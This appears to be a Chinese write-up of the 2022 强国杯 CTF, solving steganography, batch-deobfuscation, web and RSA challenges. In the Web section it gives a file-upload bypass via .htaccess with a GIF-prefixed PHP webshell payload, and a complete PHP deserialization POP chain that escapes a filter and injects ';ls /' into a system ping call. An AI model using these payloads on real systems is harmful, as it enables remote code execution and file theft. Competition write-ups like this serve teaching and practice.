——————强国杯 2022 Writeup

写在前面

 

赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWNWeb 题型,重新上线过后除一二三血,其他队伍均需要重新提交…

其次就是最后环境变成了这样,无法销毁,无法延时,无法重开。

 

 

 

Misc

Welcome_to_QGB

base64 解码得到flag

找找GIF

aaa 发现文件头是 png,我们直接改为 aaa.png

 

 

 

改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip 的解压密码 fHKKjfido%^&v1

 

 

解压后得到 bbb 然后我们发现关键字符串 NETSCAPE2.0 这个字符串说明这个文件是 GIF

 

我们加上文件头 47 49 46 38 39 61 ,同时文件名改为 bbb.gif 即可得到flag

 

 

大佬大佬

题目描述:获取图片的 lsb 隐写,然后修改图片尺寸

原图片

根据提示可以知道,图片是经过 lsb 隐写的,通过 kali zsteg 命令把图片分离出来分离出来的图片

 

 

 

 

2. 根据题目提示和图片提示,很明显需要修改图片的尺寸,我们用 010 Editor 工具以16进制的方法打开图片,修改图片的宽度即可

 

 

 

 

 

 

3. 这里把代表宽度的 00 00 01 30 修改为和长度一样,即 00 00 01 63,得到图片,并发现 flag

 

或者

 

 

 

 

 

lsb 隐写,直接导出为 flag.png

image-20220717011122132

然后修改文件高度即可

image-20220717011223763

The fun picture

爆破出密码为 6g3T

image-20220717011306242

 

 我们发现 FUN.png 并不是真正的图片,通过 010 Editor 工具以16进制的方法打开,分析文件头发现是压缩包文件,修改后缀名解压后得到名为 flag7 的文件

根据 flag.txt 的提示,flag flag7 均可能为图片,在其文件头部 0D 0A 1A 0A 前,

89 50 4E47 组成完整的 png 头部格式

 

得到两个二维码文件,扫描 flag7.png 后得到 base64 字符串

ZmxhZ3trcmVwNDkwZmptbDU4NG5nZmtsZG0ybmRsbTQwZ252an0=

直接打开 cmd5 进行解密,发现明文为 flag{krep490fjml584ngfkldm2ndlm40gnvj}

 

 

解压后三个文件flagflag.txt 是用来迷惑我们的,通过16进制编辑器发现 FUN.png 实际上为 zip 压缩包文件, FUN.png 改为 FUN.zip 得到 flag3 ,然后发现 flag3 缺少 png 文件头 89 50 4e 47 ,添加后文件后缀改为 .png 扫码得到flag

image-20220717011626423

B@tCh

根据文件内容特征判断为 BatchEncryption[原创工具][201610]BatchEncryption - 批处理加密程序)加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件

我们直接把第 17-19 行注释掉,同时 i 的值改为 9 。因为原本第 9-60 个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com 字符串,但题目没有这个字符串,所以我们改为从第 9 个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦

image-20220717182638899

Web

Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不可以有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("em..........这不还是php吗");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型这么明显!");
        }
    }
}
?>

黑盒测了一下,过滤了 phmime ,我们直接上传图片马,先上传一个 .htaccess 文件,把所有文件都当做 php 来执行

1
2
3
4
5
6
7
8
9
10
11
12
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在用 JS 的方式写个 PHP 一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo 发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()scandir() 函数打印指定目录内容

1
2
3
4
5
6
7
8
9
10
11
12
------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

GIF89a <script language="php">var_dump(scandir('/var/'))</script>

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在使用 highlight_file() 函数读取文件内容,得到flag。

1
GIF89a <script language="php">highlight_file('/var/flag')</script>

ezpop_new

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
function filter($string) {
$safe = array('system', 'fopen', 'fread', 'file_get_contents', 'flag');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'nonono', $string);
}
class PingUtils {
function __call($name, $args) {
system("ping -c4 ${args[0]}");
}
}
class Cindy {
var $someone;
var $phone;
function call() {
$this->phone->call($this->someone);
}
}
class Bob {
public $flag = True;
public function __get($a) {
if ($this->flag) {
$cindy = new Cindy();
$cindy->someone = $_REQUEST['someone'];
$cindy->phone = "p50";
#var_dump(filter(serialize($cindy)));
$cindy = unserialize(filter(serialize($cindy)));
$cindy->call($someone);
} else {
echo 'nonono';
}
}
public function __wakeup() {
$this->flag = False;
}
}
class Alice {
public function __destruct() {
echo $this->c->b;
}
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);

审计后,找到反序列化最终的落脚点在 class PingUtils::__call()中的 system("ping -c4 ${args[0]}"); ,我们能控制 args[0] 参数 ,而且只需通过命令分隔符;即可绕过 ping 命令执行想要的命令。那么一直往前推,即可找出整个POP链:

1
2
3
4
5
6
7
8
9
10
11
12
class Alice::__destruct()
echo $this->c->b;
class Bob::__wakeup() //绕过__wakeup()
class Bob::__get($a)
$cindy = unserialize(filter(serialize($cindy))); //字符串逃逸修改$cindy->phone
= "p50"为$cindy->phone = "ls /flag"
$cindy->call($someone);
class Cindy::call()
$this->phone->call($this->someone);
class PingUtils::__call($name,$args)
system("ping -c4 ${args[0]}");

反序列化过程中还涉及到了两个tricks:

绕过 __wakeup()

由于我们需要进入到 class Bob::__get($a)if 子句中,但 Bob 对象在反序列化时首先会触发__wakeup() ,从而使得其 flag 属性为 False 。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于真实属性个数时,这样会跳过__wakeup() 魔术方法的执行。

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php class Alice {
public $b;
public $c;
}
class Bob {
public $flag;
}
$a = new Alice();
$b = new Bob();
$b->flag = True;
$a->c = $b;
$a->b = 'unknow';
?>

# 手动修改序列化流:
# O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}}
# O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D

这里修改Alice 的属性个数或者 Bob 的属性个数应该都可以。

PHP字符串逃逸

利用 $cindy->someone = $_REQUEST['someone']; 逃逸出字符串,从而覆盖 class Bob::__get($a)Cindy 对象的 phone 属性为 PingUtils 对象。而我们要执行命令也存储在 somesone 属性里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1.本地调试,打印出Cindy对象序列化后的流
"O:5:"Cindy":2:{s:7:"someone";s:12:"flagflagflag";s:5:"phone";s:3:"p50";}"

# 2.组织我们要逃逸出的内容。共35个字符
";s:5:"phone";O:9:"PingUtils":0:{}}

# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。
O:5:"Cindy":2:s:7:"someone";s:213:"fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# 4.替换后就是,溢出35个字符
O:5:"Cindy":2:s:7:"someone";s:213:"nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# URL编码
%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

因此最后完整的payload就是:

1
/?pop=O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D&someone=%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

Crypto

babyRSA

 

babyRSA 题

1.打开附件,附件里面给出了p、q、e和密文c,通过p、q、e可以解出d,用d来解密密文c,得到明文m,然后再将明文m转为字节,发现flag。我们用的是python代码来实现。

附exp:

 

import gmpy2
from Crypto.Util.number import long_to_bytes
import rsa
import cchardet
 
p =gmpy2.mpz(105570604806073931560404187362816308950408774915960751676958845800335871518600455146040240314204606944641098914858159386588868785987100524581699043605351952348586132553458702298393907476955946990849442034441882748278181148503329309660427627438266645843535466462936882505833453738522673603026747578372964995367)
q =gmpy2.mpz(143288358949089585215266953016278524463612148007190135453434243047032456958207376091733443584531919755660149037321119885867830905350806865862130270602628423547624190876473872180462192096873381471710899246073298439365336797201672838785511965949336068032011363484044690916570288372443303750426476423930352603827)
e =gmpy2.mpz(33)
n = p * q
phi_n= (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
c = 2015688184356018702340063509729974600786840546364122789630929715337660295810961474144939260049892177486759513271253257458112942844435453563521353664294799145214833075575682837104619902593712323020851788866158742546117774717790910939444986189326649593286629046732910564929050955013637088916579175350308099506220813882274665233182543235264034038626524248300357250276274833999274982434790398489181021739913941634249265775997527901903799819193254397528348894700572493228638350806878366316533768758273322476421225382269304595973225131694907875536065669987510951854843686992445396860396865892650745594418900376500862332616
m = pow(c, d, n)
result = long_to_bytes(m)
encoding = cchardet.detect(result)['encoding']
print(result.decode(encoding))

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879
q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027
e = 33
c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
h= '0' + h
print(h)

输出的内容16进制转字符串即为flag


参考链接:https://5ime.cn/qgb-2022.html
                  https://blog.csdn.net/Myu_wzy/article/details/125903421
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可

 

posted @ 2022-07-24 11:08  limo亮少  阅读(101)  评论(0编辑  收藏  举报
​ ​
​ ​
​ ​ ​
​ ​